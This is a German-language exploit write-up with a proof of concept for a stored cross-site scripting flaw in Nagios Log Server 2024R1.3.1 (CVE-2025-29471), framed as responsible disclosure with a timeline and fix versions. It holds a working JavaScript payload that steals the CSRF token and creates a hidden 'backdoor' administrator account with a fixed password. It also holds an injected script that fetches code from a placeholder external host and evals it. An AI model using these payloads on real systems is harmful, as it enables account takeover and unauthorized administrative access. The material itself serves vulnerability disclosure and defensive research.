Gespeicherte XSS-Sicherheitslücke in Nagios Log Server (Rechteausweitung zum Administrator)

▶️ PoC Demo

Datum: 2025-04-02

Exploit-Autor: Seth Kraft

Hersteller-Homepage: https://www.nagios.com/

Hersteller-Changelog: https://www.nagios.com/changelog/#log-server

Software-Link: https://assets.nagios.com/downloads/nagios-log-server/versions.php

Betroffene Versionen: `2024R1.3.1` und früher

Getestet auf: `Nagios Log Server 2024R1.3.1` (Standardkonfiguration, Ubuntu 20.04)

CWE-ID: `CWE-79`

Basis-Score: 8.3 (Hoch)

Vektor-String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H`

Typ: Gespeichertes Cross-Site Scripting (XSS), Rechteausweitung

Autorisierung

Nur für autorisierte Tests und Forschungszwecke. Testen oder nutzen Sie diese Sicherheitslücke nicht auf Systemen, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Erlaubnis zum Testen haben.

Beschreibung:

Eine gespeicherte XSS-Sicherheitslücke in Nagios Log Server 2024R1.3.1 ermöglicht es einem Benutzer mit niedrigen Berechtigungen, bösartiges JavaScript in das Feld „email“ seines Profils einzuschleusen.

Wenn ein Administrator die Audit-Protokolle anzeigt, wird die Payload ausgeführt, was zu einer Rechteausweitung durch die unbefugte Erstellung eines Administratorkontos führt.

Proof of Concept

1.Hosten Sie die xss.js-Payload mit dem folgenden Inhalt auf Ihrem externen Server. Github funktioniert einwandfrei.

Aktualisieren Sie <target-ip> auf die IP/den Hostnamen des Nagios-Log-Server-Ziels.

(function() {
  console.log("🔥[XSS] Payload Executing...🔥");

  var csrfTokenMatch = document.cookie.match(/csrf_ls=([^;]+)/);
  if (!csrfTokenMatch) return;
  var csrfToken = encodeURIComponent(csrfTokenMatch[1]);
  console.log("[XSS] CSRF Token:", csrfToken);

  var requestBody = "csrf_ls=" + csrfToken +
    "&name=backdoor" +
    "&[email protected]" +
    "&username=backdoor" +
    "&password=Password123!" +
    "&password2=Password123!" +
    "&auth_type=admin" +
    "&apiaccess=1" +
    "&language=en_US" +
    "&account_type=local";

  fetch("http://<target-ip>/nagioslogserver/admin/users/create", {
    method: "POST",
    headers: { "Content-Type": "application/x-www-form-urlencoded" },
    body: requestBody
  })
  .then(response => response.text())
  .then(function(data) {
    console.log("🔥[XSS] User Created Successfully!🔥");
    console.log(data);
  })
  .catch(console.error);
})();

Melden Sie sich als Standardbenutzer (kein Administrator) bei Nagios Log Server an.
Navigieren Sie zum Profilaktualisierungs-Endpunkt:

http://<target-ip>/nagioslogserver/profile/update
Fügen Sie die folgende Payload in das E-Mail-Feld ein. Aktualisieren Sie die fetch-Zeile mit der URL, unter der xss.js gespeichert ist.

<script>
fetch("https://<EXTERNAL-HOST>/xss.js")
  .then(response => response.text())
  .then(scriptText => eval(scriptText))
  .catch(console.error);
</script>

Warten Sie, bis ein Administrator die Audit-Protokolle anzeigt. Das JavaScript wird ausgeführt und erstellt ein neues Administratorkonto:

Benutzername: backdoor

Passwort: Password123!

Melden Sie sich als backdoor mit vollem Administratorzugriff bei Nagios Log Server an.

Zeitplan der Offenlegung

2025-02-07: Forscher meldete die Sicherheitslücke an Nagios
2025-02-14: Nagios bestätigte den Eingang des Sicherheitsberichts
2025-03-03: Forscher forderte eine Aktualisierung von Nagios an
2025-03-10: Forscher forderte eine Aktualisierung von Nagios an
2025-03-17: Nagios bestätigt, dass die Sicherheitslücke behoben wird und ein Fix in Kürze veröffentlicht werden soll
2025-03-19: Nagios veröffentlicht Nagios Log Server 2024R2
2025-03-27: Forscher testete und verifizierte, dass Nagios Log Server 2024R2 die gespeicherte XSS-Sicherheitslücke behebt, und informierte Nagios
2025-04-01: MITRE reserviert CVE-2025-29471 für diese gespeicherte XSS-Sicherheitslücke, aber die Details blieben unveröffentlicht, da kein öffentliches Sicherheitsbulletin des Herstellers vorlag
2025-04-09: Nagios veröffentlicht ein Folge-Update zum 2024R2-Fix (2024R1.3.2) und portiert den Fix für die gespeicherte XSS-Sicherheitslücke zurück auf den 2024R1-Zweig
2025-04-15: CVE-2025-29471 wurde offiziell veröffentlicht

Haftungsausschluss

Diese Arbeit wurde außerhalb meines Arbeitsverhältnisses durchgeführt und spiegelt meine persönlichen Bemühungen in der Cybersicherheitsforschung wider.

CVE-2025-29471

Beliebteste